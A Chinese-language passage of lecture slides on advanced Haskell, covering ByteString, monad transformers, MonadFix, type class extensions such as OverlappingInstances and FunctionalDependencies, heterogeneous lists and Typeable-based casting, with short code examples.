- 实现了类似于列表的接口：S.head、S.tail、S.length、S.foldl、S.cons（类似于:）、S.empty（类似于[]）、S.hPut（类似于hPutStr）、S.readFile
- 必须导入限定以避免名称冲突
- S.pack和S.unpack转换为/从[Word8]
- S8具有与S相同的函数，但使用Char而不是Word8--这意味着您会丢失Char的高位（使用来自utf8-string的toString来避免丢失）

实现

data ByteString = PS {-# UNPACK #-} !(ForeignPtr Word8) {-# UNPACK #-} !Int -- offset {-# UNPACK #-} !Int -- length

惰性`ByteString`

同一软件包实现了惰性 ByteString
```
import qualified Data.ByteString.Lazy as L import qualified Data.ByteString.Lazy.Char8 as L8
```
- 提供了与严格ByteString模块大部分相同的函数
令人困惑的是两个模块对许多事物使用相同的名称
- 查看导入限定以理解代码是很重要的
- 更糟糕的是：文档没有限定符号名称
  
  提示：将鼠标悬停在符号上并查看 URL 以找出模块
- 此外，S.ByteString和S8.ByteString是相同类型（重新导出的），类似地，L.ByteString和L8.ByteString也是如此
- S.ByteString和L.ByteString 不是相同类型，但可以转换：
```
fromChunks :: [S.ByteString] -> L.ByteString toChunks :: L.ByteString -> [S.ByteString]
```

惰性`ByteString`实现

惰性ByteString是以严格的方式实现的
```
data ByteString = Empty | Chunk {-# UNPACK #-} !S.ByteString ByteString
```
- 不变性：Chunk的第一个参数（S.ByteString）永远不会为null
- 基本上是严格ByteString的链表
- Head 是严格的，tail 不是，允许惰性计算或 I/O
何时使用严格/惰性ByteString？
- 当需要惰性时显然使用惰性（例如，惰性 I/O，无限或循环字符串等）
- 惰性也在连接方面更快（需要构建一个新的S.ByteString列表，但不复制它们包含的数据）
- 严格使得实现诸如字符串搜索之类的功能变得更加容易
- 将严格转换为惰性ByteString是廉价的，反之则不是（因此，如果一个库可以在惰性ByteString上高效工作，最好暴露该功能）

GHC 语言扩展

GHC 实现了许多 Haskell 扩展，通过启用
- 在文件顶部放置{-# LANGUAGE ExtensionName #-}（推荐）
- 使用-XExtensionName编译（不推荐，除了-XSafe）
- 在ghci提示符处键入:set -XExtensionName（或使用-X运行ghci...）
在 GHC 选项摘要的语言选项部分列出完整列表
有些扩展非常安全可靠
- 例如，核心库深度依赖扩展
- 扩展非常表面，很容易转换为 Haskell2010
其他扩展被较少接受
- 例如，使类型推断/检查变得不可判定或非确定性
- 破坏类型安全
- 一个无法并入标准的正在进行中的工作
许多扩展处于中间/灰色地带

背景：Monad 变换器

类构造器构建由其他单子参数化的单子
- 方法lift执行来自底层转换单子的操作：
```
class MonadTrans t where  lift :: Monad m => m a -> t m a
```
- 注意单子的种类∗ → ∗，因此变换器的种类为(∗ → ∗) → ∗ → ∗

例子：状态变换器单子，StateT

newtype StateT s m a = StateT { runStateT :: s -> m (a,s) } instance (Monad m) => Monad (StateT s m) where return a = StateT $ \s -> return (a, s) m >>= k = StateT $ \s0 -> do -- in monad m ~(a, s1) <- runStateT m s0 runStateT (k a) s1 instance MonadTrans (StateT s) where lift ma = StateT $ \s -> do -- in monad m a <- ma return (a, s)

使用`StateT`

get和put允许您修改状态

get :: (Monad m) => StateT s m s put :: (Monad m) => s -> StateT s m ()

例子：在 C 中的x++的 Haskell 等价物

import Control.Monad.Trans import Control.Monad.Trans.State main :: IO () main = runStateT go 0 >>= print where go = do xplusplus >>= lift . print xplusplus >>= lift . print xplusplus = do n <- get; put (n + 1); return n

*Main> main 0 1 ((),2)

练习：实现`get`和`put`

回顾StateT的实现

newtype StateT s m a = StateT { runStateT :: s -> m (a,s) } instance (Monad m) => Monad (StateT s m) where return a = StateT $ \s -> return (a, s) m >>= k = StateT $ \s0 -> do -- in monad m ~(a, s1) <- runStateT m s0 runStateT (k a) s1

如何实现以下内容？

get :: (Monad m) => StateT s m s put :: (Monad m) => s -> StateT s m ()

练习：实现`get`和`put`

回顾StateT的实现

newtype StateT s m a = StateT { runStateT :: s -> m (a,s) } instance (Monad m) => Monad (StateT s m) where return a = StateT $ \s -> return (a, s) m >>= k = StateT $ \s0 -> do -- in monad m ~(a, s1) <- runStateT m s0 runStateT (k a) s1

如何实现以下内容？

get :: (Monad m) => StateT s m s get = StateT $ \s -> return (s, s) put :: (Monad m) => s -> StateT s m () put s = StateT $ \_ -> return ((), s)

`MonadIO`类

有时希望执行 IO 而不考虑当前单子

class (Monad m) => MonadIO m where  liftIO :: IO a -> m a instance MonadIO IO where liftIO = id

让liftIO在StateT中起作用

instance (MonadIO m) => MonadIO (StateT s m) where liftIO = lift . liftIO

现在可以编写使用 IO 并在许多单子中工作的函数：

myprint :: (Show a, MonadIO m) => a -> m () myprint a = liftIO $ print $ show a

所有标准 Monad 变换器都实现了MonadIO类
- ContT、ErrorT、ListT、RWST、ReaderT、StateT、WriterT等

背景：递归绑定

顶层、let和where绑定在 Haskell 中都是递归的，例如：

oneTwo :: (Int, Int) oneTwo = (fst y, snd x) where x = (1, snd y) -- mutual recursion y = (fst x, 2) nthFib :: Int -> Integer nthFib n = fibList !! n where fibList = 1 : 1 : zipWith (+) fibList (tail fibList)

可以使用固定点组合子实现递归

函数fix调用具有其自身结果的函数，用于重新实现上述内容：

fix :: (a -> a) -> a fix f = let x = f x in x

oneTwo' :: (Int, Int) oneTwo' = (fst y, snd x) where (x, y) = fix $ \ ~(x0, y0) -> let x1 = (1, snd y0) y1 = (fst x0, 2) in (x1, y1) nthFib' n = fibList !! n where fibList = fix $ \l -> 1 : 1 : zipWith (+) l (tail l)

递归和单子绑定

相比之下，单子绑定不是递归的

do fibList <- return $ 1 : 1 : zipWith (+) fibList (tail fibList) ... -- error, fibList not in scope ^^^^^^^ ^^^^^^^

但MonadFix类中的单子具有固定点组合子

class Monad m => MonadFix m where  mfix :: (a -> m a) -> m a

mfix可用于实现递归单子绑定[Erkök00]，例如：

mfib :: (MonadFix m) => Int -> m Integer mfib n = do fibList <- mfix $ \l -> return $ 1 : 1 : zipWith (+) l (tail l) return $ fibList !! n -- ^^^^^

为什么？例如，可能想要用单子模拟电路
- 如果电路中存在循环，则需要递归
- 可能仍然希望递归以避免担心语句的顺序

`RecursiveDo` 扩展

新的 rec 关键字在 do 块中引入递归绑定 [Erkök02]

单子必须是 MonadFix 的一个实例（rec 展开为 mfix 调用）

oneTwo'' :: (MonadFix m) => m (Int, Int) oneTwo'' = do rec x <- return (1, snd y) y <- return (fst x, 2) return (fst y, snd x)

展开为：

oneTwo''' :: (MonadFix m) => m (Int, Int) oneTwo''' = do (x, y) <- mfix $ \ ~(x0, y0) -> do x1 <- return (1, snd y0) y1 <- return (fst x0, 2) return (x1, y1) return (fst y, snd x)

在实践中，RecursiveDo 有助于构建思维结构
- 然后可以手动展开，而不需要语言扩展
- 但单独使用 mfix 是非常有用的

`mfix` 和 `rec` 的示例用法

一次性创建递归数据结构

data Link a = Link !a !(MVar (Link a)) -- note ! is okay mkCycle :: IO (MVar (Link Int)) mkCycle = do rec l1 <- newMVar $ Link 1 l2 -- but $! would diverge l2 <- newMVar $ Link 2 l1 return l1

调用类的非严格方法（轻松访问返回类型字典）

class MyClass t where  myTypeName :: t -> String -- non-strict in argument  myDefaultValue :: t instance MyClass Int where myTypeName _ = "Int" myDefaultValue = 0 getVal :: (MyClass t) => IO t getVal = mfix $ \t -> do -- doesn't use mfix's full power putStrLn $ "Caller wants type " ++ myTypeName t return myDefaultValue

实现 `mfix`

热身：Identity 单子

newtype Identity a = Identity { runIdentity :: a } instance Monad Identity where return = Identity m >>= k = k (runIdentity m)

newtype 编译成空，所以基本上与 fix 相同：

instance MonadFix Identity where mfix f = let x = f (runIdentity x) in x

`fixIO` -- `IO` 单子的不动点

在内部，惰性 IO 是通过神奇的 unsafeInterleaveIO 实现的
```
unsafeInterleaveIO :: IO a -> IO a
```
- 看起来像是一个 IO 标识函数，但推迟 IO 直到强制 thunk
- 危险--不要在家里尝试！不再是一个函数式语言
```
weird :: IO String weird = do xxx <- unsafeInterleaveIO $ do putStrLn "Gotcha!"; return [] return $ 'a':'b':'c':xxx
```

对于 IO，mfix = fixIO：

fixIO :: (a -> IO a) -> IO a fixIO k = do ref <- newIORef (throw NonTermination) ans <- unsafeInterleaveIO (readIORef ref) result <- k ans writeIORef ref result return result

这与编译器为纯 fix 所做的事情非常相似

通用的 `mfix` 是不可能的

如果我们尝试为所有单子定义一个类似 mfix 的函数会怎样？

mbroken :: (Monad m) => (a -> m a) -> m a -- equivalent to mfix? mbroken f = fix (>>= f)

这等同于

mbroken f = mbroken f >>= f

但对于许多单子，>>= 在其第一个参数上是严格的

*Main> mfix $ const (return 0) 0 *Main> mbroken $ const (return 0) *** Exception: stack overflow

因此 mfix 需要对值进行不动点，而不是对单子动作进行不动点
- 如何做到这一点是特定于单子的
- 不适用于所有单子（ContT，ListT）

`StateT` 的 `MonadFix` 实例

StateT 单子怎么样？

newtype StateT s m a = StateT { runStateT :: s -> m (a,s) } instance (Monad m) => Monad (StateT s m) where return a = StateT $ \s -> return (a, s) m >>= k = StateT $ \s0 -> do -- in monad m ~(a, s1) <- runStateT m s0 runStateT (k a) s1

可能最容易使用 rec 符号来看

instance MonadFix m => MonadFix (StateT s m) where mfix f = StateT $ \s0 -> do -- in monad m rec ~(a, s1) <- runStateT (f a) s0 return (a, s1)

但可以轻松实现，无需语言扩展

instance MonadFix m => MonadFix (StateT s m) where mfix f = StateT $ \s -> mfix $ \ ~(a, _) -> runStateT (f a) s

复习：类型类

一个 Haskell 2010 类型类声明可以采用以下形式：

class ClassName var where  methodName :: Type {- where type references var -}

class (SuperClass var) => ClassName var where ... class (Super1 var, Super2 var) => ClassName var where ... ...

注意 var 不必具有 ∗ 类型
然而，每个方法的类型必须提及 var，并且每个方法的上下文中添加了一个隐式的 (Classname var)，例如：
```
Prelude> :t return return :: Monad m => a -> m a
```

一个 Haskell 2010 实例声明的形式为：
```
instance [context =>] ClassName (TypeCon v1 ... vk) where ...
```
- 注意 v1 ... vk 都是变量且都不同，排除了，例如，instance C (a,a) 或 instance C (Int a) 或 instance [[a]]

`MultiParamTypeClasses` 扩展

启用具有多个参数的类型类，例如：

{-# LANGUAGE MultiParamTypeClasses #-} class Convert a b where convert :: a -> b instance Convert Int Bool where convert = (/= 0) instance Convert Int Integer where convert = toInteger instance (Convert a b) => Convert [a] [b] where convert = map convert

扩展本身相对安全，但鼓励其他扩展
- 例如，每个方法的类型必须使用每个类型参数
```
class MyClass a b where  aDefault :: a -- can never use (without more extensions...)
```
- 所有类型（参数和返回）必须完全确定
```
 convert 0 :: Bool -- error, 0 has type (Num a) => a
```
- 并且通常的实例限制仍然适用
```
instance Convert Int [Char] where convert = show -- error bad param
```
  - [Char]--即 ([] Char)--不是一个有效的实例参数，必须是 ([] a)

`FlexibleInstances` 扩展

允许更具体的类型参数（相对安全的扩展）。

例如，现在我们可以说：

{-# LANGUAGE FlexibleInstances #-} instance Convert Int [Char] where convert = show

我们可以使所有类型转换为它们自己：

instance Convert a a where convert a = a

*Main> convert () :: () () *Main> convert ([1,2,3]::[Int]) :: [Integer] [1,2,3] *Main> convert ([1,2,3]::[Int]) :: [Int] <interactive>:1:1: Overlapping instances for Convert [Int] [Int] instance Convert a a instance Convert a b => Convert [a] [b]

糟糕，两个实例都适用； GHC 不知道选择哪个

`OverlappingInstances` 扩展

这个扩展被使用，但也被广泛抨击
- 只有在实际使用重叠实例时才需要此扩展。
- 在定义实例的地方启用扩展，而不是在使用的地方启用
- 当 I[1] 可以通过替换 I[2] 的变量而创建，并且反之则不成立时，编译器会选择最具体的匹配实例。 I[1] 比 I[2] 更具体。
- 上下文（在 => 前面的部分）在选择实例时不予考虑。

例如：像 String vs. [a] 的 Show 一样做些什么

class MyShow a where myShow :: a -> String instance MyShow Char where myShow = show instance MyShow Int where myShow = show instance MyShow [Char] where myShow = id instance (MyShow a) => MyShow [a] where myShow [] = "[]" myShow (x:xs) = "[" ++ myShow x ++ go xs where go (y:ys) = "," ++ myShow y ++ go ys go [] = "]"

因此，启用 OverlappingInstances 是否修复了 Convert？

最具体的实例

最具体的实例是什么？

{-# LANGUAGE MultiParamTypeClasses #-} {-# LANGUAGE FlexibleInstances #-} {-# LANGUAGE OverlappingInstances #-} instance Convert a a where ... instance (Convert a b) => Convert [a] [b] where ...

*Main> convert ([1,2,3]::[Int]) :: [Int] <interactive>:1:1: Overlapping instances for Convert [Int] [Int] instance [overlap ok] Convert a a instance [overlap ok] Convert a b => Convert [a] [b]

没有实例是最具体的！
我们必须添加一个第三实例来打破这种关系--一个可以通过替换其他两个重叠实例中的变量而创建的实例

instance Convert [a] [a] where convert = id

*Main> convert ([1,2,3]::[Int]) :: [Int] [1,2,3]

反对 `OverlappingInstances` 的一个案例

module Help where class MyShow a where  myshow :: a -> String instance MyShow a => MyShow [a] where myshow xs = concatMap myshow xs  showHelp :: MyShow a => [a] -> String showHelp xs = myshow xs -- doesn't see overlapping instance module Main where import Help data T = MkT instance MyShow T where myshow x = "Used generic instance" instance MyShow [T] where myshow xs = "Used more specific instance" main = do { print (myshow [MkT]); print (showHelp [MkT]) }

*Main> main "Used more specific instance" "Used generic instance"

旁注：`Show` 实际上是如何工作的

添加一个额外的帮助方法，showList，并附带一个默认定义：

class Show a where  show :: a -> String  showList :: [a] -> ShowS showList as = '[' : intercalate ", " (map show as) ++ "]" -- Note actual implementation more efficient but equivalent instance (Show a) => Show [a] where show as = showList as

Char 的 Show 实例覆盖了默认的 showList。
但是必须从一开始就计划好所有这些
- 想要一种简单的方式来为树或其他数据结构特别处理，而不仅仅是列表？
- 然后您将被迫使用重叠实例。

`FlexibleContexts` 扩展

MultiParamTypeClasses 导致无法表达的类型。
```
toInt val = convert val :: Int
```
- 函数 toInt 的类型是什么？想要写：
```
toInt :: (Convert a Int) => a -> Int
```
- 但是(Convert a Int) =>是一个非法的上下文，因为Int不是一个类型变量
FlexibleContexts 扩展使上述类型合法可写。
- 是一个相对安全的扩展来使用
仍然有一些限制。
- 上下文中的每个类型变量必须从类型中的一个类型变量可达。
  
  (可达 = 明确使用，或者在另一个具有可达变量的约束中。)
```
sym :: forall a. Eq a => Int -- illegal
```
- 每个约束必须有一个类型变量。
```
sym :: Eq Int => Bool -- illegal
```

单子类

liftIO 从如此多的单子中工作真是太棒了

为什么不为 StateT 做类似的事情？让 get/set 方法

{-# LANGUAGE MultiParamTypeClasses #-} {-# LANGUAGE FlexibleInstances #-} class (Monad m) => MonadState s m where  get :: m s  put :: s -> m () instance (Monad m) => MonadState s (StateT s m) where get = StateT $ \s -> return (s, s) put s = StateT $ \_ -> return ((), s)

现在对于每个其他的 MonadTrans，将请求传递下去

这就像 liftIO 一样。例如，对于 ReaderT：

instance (MonadIO m) => MonadIO (ReaderT r m) where liftIO = lift . liftIO instance (MonadState s m) => MonadState s (ReaderT r m) where get = lift get put = lift . put

问题：我们破坏了类型推断。

还记得 xplusplus 吗？
```
 xplusplus = do n <- get; put (n + 1); return n
```
- 编译器知道我们处于StateT Int IO单子中。
- 因此可以推断get的类型为Num s => StateT Int IO s。
- 但是需要知道s才能选择MonadState的一个实例！
- 对于编译器来说，可能有其他匹配的实例，例如，
```
instance MonadState Double (StateT Int IO) where -- would be legal, but exists only in compiler's imagination
```
由于编译器无法推断get的返回类型，必须手动输入类型：
```
 xplusplus = do n <- get :: StateT Int IO Int put (n + 1) return n
```
- 呸！缺乏类型推断真的很烦人！

`FunctionalDependencies` 扩展

被广泛使用并且被 frowned upon（没有 OverlappingInstances 那么糟糕）
- 也被称为“fundeps”
允许类声明某些参数是其他参数的函数
```
class (Monad m) => MonadState s m | m -> s where  get :: m s  put :: s -> m ()
```
- 最好的理解方式是以实例选择的方式来思考
- "| m -> s" 表示可以根据 m 而不考虑 s 来选择一个实例，因为 s 是 m 的函数
- 一旦你选择了实例，你就可以使用 s 进行类型推断
禁止冲突的实例（即使使用了 OverlappingInstances）
还允许在类型层面进行任意计算[Hallgren]
- 但语言委员会希望编译是可决定的和确定的
- 所以需要添加一些限制

可决定实例的充分条件

实例的解剖：instance [context =>] head [where body]
- context 包括零个或多个逗号分隔的断言

Paterson 条件：对于上下文中的每个断言

没有类型变量在断言中出现的次数超过头部中出现的次数

class Class a b instance (Class a a) => Class [a] Bool -- bad: 2 * a > 1 * a instance (Class a b) => Class [a] Bool -- bad: 1 * b > 0 * b

断言的构造和变量比头部少

instance (Class a Int) => Class a Integer -- bad: 2 >= 2

覆盖条件：对于每个 fundep left -> right，right 中的类型不能有 left 中未提及的类型变量

class Class a b | a -> b instance Class a (Maybe a) -- ok: a "covered" by left instance Class Int (Maybe b) -- bad: b not covered instance Class a (Either a b) -- bad: b not covered

可决定 vs. 指数级 -- 谁在乎？

编者注：语言的可决定性可能被高估了
- 毕竟计算机并不是具有无限带子的图灵机

这个合法的、可决定的程序会使你的 Haskell 编译器崩溃

crash = f5 () where f0 x = (x, x) -- type size 2^{2⁰} f1 x = f0 (f0 x) -- type size 2^{2¹} f2 x = f1 (f1 x) -- type size 2^{2²} f3 x = f2 (f2 x) -- type size 2^{2³} f4 x = f3 (f3 x) -- type size 2^{2⁴} f5 x = f4 (f4 x) -- type size 2^{2⁵}

虽然有很多不能被证明可决定的程序可以编译成功
- 上一张幻灯片的条件是充分的，而不是必要的
- 可能还有其他知道你的程序可以编译的方法
- 或者也许通过试错来弄清楚？

`UndecidableInstances` 扩展

提高了 Paterson 和 Coverage 条件
- 启用时还可以启用FlexibleContexts
相反，施加了最大递归深度
- 默认的最大深度是 20
- 可以使用 -fcontext-stack=n 选项来增加，例如：
```
{-# OPTIONS_GHC -fcontext-stack=1024 #-} {-# LANGUAGE UndecidableInstances #-}
```
有点类似于 C++ 模板
- gcc 有一个 -ftemplate-depth= 选项
- 注意 C++11 将最小深度从 17 提高到 1024
- 同样地，人们已经谈论过增加 GHC 的默认上下文堆栈

`MonadIO` 重新审视

回想一下 MonadIO 的定义

class (Monad m) => MonadIO m where  liftIO :: IO a -> m a instance MonadIO IO where liftIO = id

目前必须为每个转换器定义一个实例

instance MonadIO m => MonadIO (StateT s m) where liftIO = lift . liftIO instance MonadIO m => MonadIO (ReaderT t m) where liftIO = lift . liftIO instance MonadIO m => MonadIO (WriterT w m) where liftIO = lift . liftIO ...

使用 UndecidableInstances，一个实例可以覆盖所有的转换器！

{-# LANGUAGE FlexibleInstances #-} {-# LANGUAGE UndecidableInstances #-} -- undecidable: assertion Monad (t m) no smaller than head instance (MonadTrans t, MonadIO m, Monad (t m)) => MonadIO (t m) where liftIO = lift . liftIO

扩展的摘要

我们已经看到了 6 个与类型类相关的扩展

{-# LANGUAGE MultiParamTypeClasses #-} -- very conservative {-# LANGUAGE FlexibleInstances #-} -- conservative {-# LANGUAGE FlexibleContexts #-} -- conservative {-# LANGUAGE FunctionalDependencies #-} -- frowned upon {-# LANGUAGE UndecidableInstances #-} -- very frowned upon {-# LANGUAGE OverlappingInstances #-} -- the most controversial

并不是所有这些都受到社区的好评
但如果你启用了所有六个，它可以非常强大

接下来的讲座将探讨启用所有 6 个扩展可以做什么
- 受Hlist和OOHaskell的启发

热身：类型级别的布尔值

data HFalse = HFalse deriving Show data HTrue = HTrue deriving Show class HNot a b | a -> b where hNot :: a -> b instance HNot HFalse HTrue where hNot _ = HTrue instance HNot HTrue HFalse where hNot _ = HFalse

*Main> hNot HTrue HFalse *Main> hNot HFalse HTrue

注意HNot b nb中的功能依赖如何计算b的否定在类型级别
还没有使用OverlappingInstances，让我们开始吧...

对类型进行计算

我们能计算两个类型是否相等吗？第一次尝试：
```
class TypeEq a b c | a b -> c where typeEq :: a -> b -> c instance TypeEq a a HTrue where typeEq _ _ = HTrue instance TypeEq a b HFalse where typeEq _ _ = HFalse
```
- 问题：TypeEq a a HTrue不比TypeEq a b HFalse更具体
- ... 但TypeEq a a HTrue比TypeEq a b c更具体

请记住，实例选择从不考虑上下文

仅在拒绝失败断言或从功能依赖中推断类型之后
解决方案：在实例选择后使用另一个功能依赖计算c

class TypeCast a b | a -> b where typeCast :: a -> b instance TypeCast a a where typeCast = id instance TypeEq a a HTrue where typeEq _ _ = HTrue -- as before instance (TypeCast HFalse c) => TypeEq a b c where typeEq _ _ = typeCast HFalse

`TypeEq`的实用性

评论：TypeEq有点像功能依赖的圣杯
- 如果你可以实现TypeEq，你可以通过区分基本情况和递归情况在类型级别进行递归编程！
- 但深度依赖于OverlappingInstances...

例如：让我们为MonadState做与MonadIO相同的事情

-- If t is StateT, then do one thing for (t s m) (base case): instance (Monad m) => MonadState s (StateT s m) where get = StateT $ \s -> return (s, s) put = StateT $ \_ -> return ((), s) -- If t is not StateT, do something else (recursive case): instance (MonadTrans t, MonadState s m, Monad (t m)) => MonadState s (t m) where get = lift get put = lift . put

MonadIO更容易，因为类型IO不能匹配参数(t m)
不幸的是，StateT s m匹配上述两个实例头
因此需要OverlappingInstances来选择StateT s m的第一个实例

异构列表

最后一个扩展：TypeOperators允许以“:”开头的中缀类型
```
data a :*: b = Foo a b type a :+: b = Either a b
```

使用中缀构造函数来定义异构列表

data HNil = HNil deriving Show data (:*:) h t = h :*: !t deriving Show infixr 9 :*: -- Example: data A = A deriving Show data B = B deriving Show data C = C deriving Show foo = (A, "Hello") :*: (B, 7) :*: (C, 3.0) :*: HNil

*Main> foo (A,"Hello") :*: ((B,7) :*: ((C,3.0) :*: HNil)) *Main> :t foo foo :: (A, [Char]) :*: ((B, Integer) :*: ((C, Double) :*: HNil))

异构列表上的操作

注意我们的列表由成对组成

foo :: (A, [Char]) :*: (B, Integer) :*: (C, Double) :*: HNil foo = (A, "Hello") :*: (B, 7) :*: (C, 3.0) :*: HNil

将第一个元素视为键或标签，第二个元素视为值--如何查找值？

class Select k h v | k h -> v where  (.!) :: h -> k -> v instance Select k ((k, v) :*: t) v where (.!) ((_, v) :*: _) _ = v instance (Select k h v) => Select k (kv' :*: h) v where (.!) (kv' :*: h) k = h .! k

*Main> foo .! A "Hello"

再次注意OverlappingInstances的重要性
- 当查找标签的类型与列表头匹配时需要打破递归
可以用来实现各种其他功能（连接等）

面向对象编程

异构可以实现面向对象编程！

returnIO :: a -> IO a returnIO = return data GetVal = GetVal deriving Show data SetVal = SetVal deriving Show data ClearVal = ClearVal deriving Show mkVal n self = do val <- newIORef (n :: Int) returnIO $ (GetVal, readIORef val) :*: (SetVal, writeIORef val) :*: (ClearVal, self .! SetVal $ 0) :*: HNil test = do -- prints 7, then 0 x <- mfix $ mkVal 7 x .! GetVal >>= print x .! ClearVal x .! GetVal >>= print

但为什么要用mfix？

"打结递归"

mfix允许你通过继承覆盖方法

例如，创建一个忽略SetVal消息的“const val”

mkConstVal n self = do super <- mkVal n self returnIO $ (SetVal, const $ return ()) :*: super test2 = do x <- mfix $ mkConstVal 7 x .! GetVal >>= print x .! ClearVal x .! GetVal >>= print

*Main> test 7 0 *Main> test2 7 7

mkVal对SetVal的调用被mkConstVal正确地覆盖了

将元组转换为列表

假设你想要将一对Strings转换为列表

pairToStringList :: (Show a, Show b) => (a, b) -> [String] pairToStringList (a, b) = [show a, show b]

*Main> pairToStringList (True, Just 3) ["True","Just 3"]

现在假设你想要将一对Enum转换为Int列表

pairToIntList :: (Enum a, Enum b) => (a, b) -> [Int] pairToIntList (a, b) = [fromEnum a, fromEnum b]

我们能否将这个函数泛化？想要说：

pairToList conv (a, b) = [conv a, conv b] pairToList show (True, Just 3) -- error

不幸的是，不能将方法作为参数传递，只能是函数
```
pairToList :: (a -> b) -> (a, a) -> [b]
```

具有 fundeps 的多态性

让我们用一个类来表示特殊的多态方法

{-# LANGUAGE MultiParamTypeClasses #-} {-# LANGUAGE FunctionalDependencies #-} {-# LANGUAGE FlexibleInstances #-} class Function f a b | f a -> b where  funcall :: f -> a -> b instance Function (a -> b) a b where funcall = id pairToList :: (Function f a c, Function f b c) => f -> (a, b) -> [c] pairToList f (a, b) = [funcall f a, funcall f b]

使用占位符单例类型来表示特定方法

data ShowF = ShowF instance (Show a) => Function ShowF a [Char] where funcall _ = show data FromEnumF = FromEnumF instance (Enum a) => Function FromEnumF a Int where funcall _ = fromEnum

`Function`的作用

现在单例类型就像方法参数一样：

*Main> pairToList ShowF (True, 3) ["True","3"] *Main> pairToList FromEnumF (False, 7) [0,7]

现在，如果你想要将任意n-元组转换为列表怎么办？
- 可以为通用元组折叠自动生成实例，例如：
```
class TupleFoldr f z t r | f z t -> r where  tupleFoldr :: f -> z -> t -> r
```
- 对于小元组效果还可以，但在 10 元组左右会出问题，需要更大的-fcontext-stack参数
不幸的是，我暂时没有编译时的技巧
- 另一种方法是使用运行时类型信息（RTTI）
- RTTI 更容易理解，但会增加运行时开销和错误
- 我们将在讲座结束时回到静态技巧

`DeriveDataTypeable` 扩展

Haskell 允许自动派生六个类
- Show, Read, Eq, Ord, Bounded, Enum
DeriveDataTypeable 扩展添加了另外两个：Typeable，Data
```
data MyType = Con1 Int | Con2 String deriving (Typeable, Data)
```
- 这些类型以各种方式编码运行时类型信息
- Data要求内部类型（Int，String）也要有实例
- Typeable要求任何类型参数都要有实例
```
-- MyTyCon only typeable when a is data MyTyCon a = MyTyCon a deriving (Typeable, Data)
```
- 大多数标准库类型都有Typeable和Data实例
提供了被称为“scrap your boilerplate”的编程方法
- GHC 的支持由两篇论文描述：[Boilerplate1], [Boilerplate2]

`Typeable` 类

import Data.Typeable 来获取Typeable类：

class Typeable a where  typeOf :: a -> TypeRep -- Note: never evaluates argument data TypeRep -- Opaque, but instance of Eq, Ord, Show, Typeable

这使我们能够比较类型是否相等

rtTypeEq :: (Typeable a, Typeable b) => a -> b -> Bool rtTypeEq a b = typeOf a == typeOf b

*Main> rtTypeEq True False True *Main> rtTypeEq True 5 False

没什么了不起！
- 我们难道不能在编译时使用OverlappingInstances来做到这一点吗？
- 动态地进行这个操作不太激动人心，但是不同
- 并且允许一个非常重要的函数...

类型转换

GHC 有一个名为unsafeCoerce的函数
```
unsafeCoerce :: a -> b
```
- 注意：它不只是返回⊥
- 如果名称不吓到你，类型签名应该会

让我们使用Typeable来创建一个安全的cast函数

cast :: (Typeable a, Typeable b) => a -> Maybe b cast a = fix $ \ ~(Just b) -> if typeOf a == typeOf b then Just $ unsafeCoerce a else Nothing

*Main> cast "hello" :: Maybe String Just "hello" *Main> cast "hello" :: Maybe Int Nothing

如果typeOf在两种不同类型上始终返回不同的TypeRep，则是安全的
通过deriving (Typeable)保证；SafeHaskell 不允许手动实例

泛化转换

要转换单子计算等，使用泛化转换，gcast：

import Data.Maybe (fromJust) gcast :: (Typeable a, Typeable b) => c a -> Maybe (c b) gcast ca = mcr where mcr = if typeOf (unc ca) == typeOf (unc $ fromJust mcr) then Just $ unsafeCoerce ca else Nothing  unc :: c x -> x unc = undefined

*Main> fromJust $ gcast (readFile "/etc/issue") :: IO String "\nArch Linux \\r (\\n) (\\l)\n\n" *Main> fromJust $ gcast (readFile "/etc/issue") :: IO Int *** Exception: Maybe.fromJust: Nothing

注意在gcast的定义中未定义的函数unc
- 常见的习惯用法--不会有问题，因为typeOf不是严格的
- 回想一下上下文Typeable b =>就像一个隐藏的参数；通常使用带有类型签名的未定义函数来解包类型并获取字典

使用`Typeable`：`mkT`[Boilerplate1]

mkT（“创建转换”）在一个类型上的行为类似于id
```
mkT :: (Typeable a, Typeable b) => (b -> b) -> a -> a
```

例子：

newtype Salary = Salary Double deriving (Show, Data, Typeable) raiseSalary :: (Typeable a) => a -> a raiseSalary = mkT $ \(Salary s) -> Salary (s * 1.04)

*Main> raiseSalary () () *Main> raiseSalary 7 7 *Main> raiseSalary (Salary 7) Salary 7.28

练习：实现mkT
- 提示：函数类型(->)是Typeable，因此Data.Typeable导出：
```
instance (Typeable a, Typeable b) => Typeable (a -> b) where ...
```

解决方案

mkT :: (Typeable a, Typeable b) => (b -> b) -> a -> a mkT f a = case cast f of Just g -> g a Nothing -> a

注意 Haskell 类型推断的魔力
- g应用于a，因此必须具有类型a -> a
- 因此cast f必须具有类型Maybe (a -> a)
- 因此编译器知道要使用(b -> b)的Typeable字典作为参数，以及(a -> a)的字典作为cast的返回
[Jones]详细解释了 Haskell 的类型推断

注意，更复杂的实现可以使用标准的maybe函数

maybe :: b -> (a -> b) -> Maybe a -> b maybe b _ Nothing = b maybe _ f (Just a) = f a

mkT :: (Typeable a, Typeable b) => (b -> b) -> (a -> a) mkT f = maybe id id $ cast f

使用`Typeable`：`mkQ`[Boilerplate1]

计算一个类型或返回默认值的函数：

mkQ :: (Typeable a, Typeable b) => r -> (b -> r) -> a -> r mkQ defaultVal fn a = ...

mkQ代表“创建查询”

例子

salaryVal :: Typeable a => a -> Double salaryVal = mkQ 0 $ \(Salary s) -> s

*Main> salaryVal () 0.0 *Main> salaryVal 7 0.0 *Main> salaryVal (Salary 7) 7.0

练习：实现mkQ

解决方案

mkQ :: (Typeable a, Typeable b) => r -> (b -> r) -> a -> r mkQ defaultVal fn a = case cast a of Just b -> fn b Nothing -> defaultVal

或者如果你想要变得花哨：

mkQ :: (Typeable a, Typeable b) => r -> (b -> r) -> a -> r mkQ defaultVal fn = maybe defaultVal fn . cast

多类型函数：`extQ`

mkQ只适用于一种类型

让我们将mkQ的输出扩展到另一种类型[Boilerplate1]

extQ :: (Typeable a, Typeable b) => (a -> r) -> (b -> r) -> a -> r extQ q f a = case cast a of Just b -> f b Nothing -> q a

现在可以级联多个相同类型的查询函数
```
myShow :: Typeable a => a -> String myShow = mkQ "unknown type" (show :: Int -> String) `extQ` (show :: Bool -> String) `extQ` (show :: Integer -> String) `extQ` (const "no floating point" :: Double -> String)
```
- 回想默认的结合性是左结合（infixl 9 extQ``）
- 有点繁琐，但如果元组包含有限数量的类型，可以近似实现讲座开始时的tupleToList目标

`ExistentialQuantification`扩展

允许在data声明的右侧引入类型变量
```
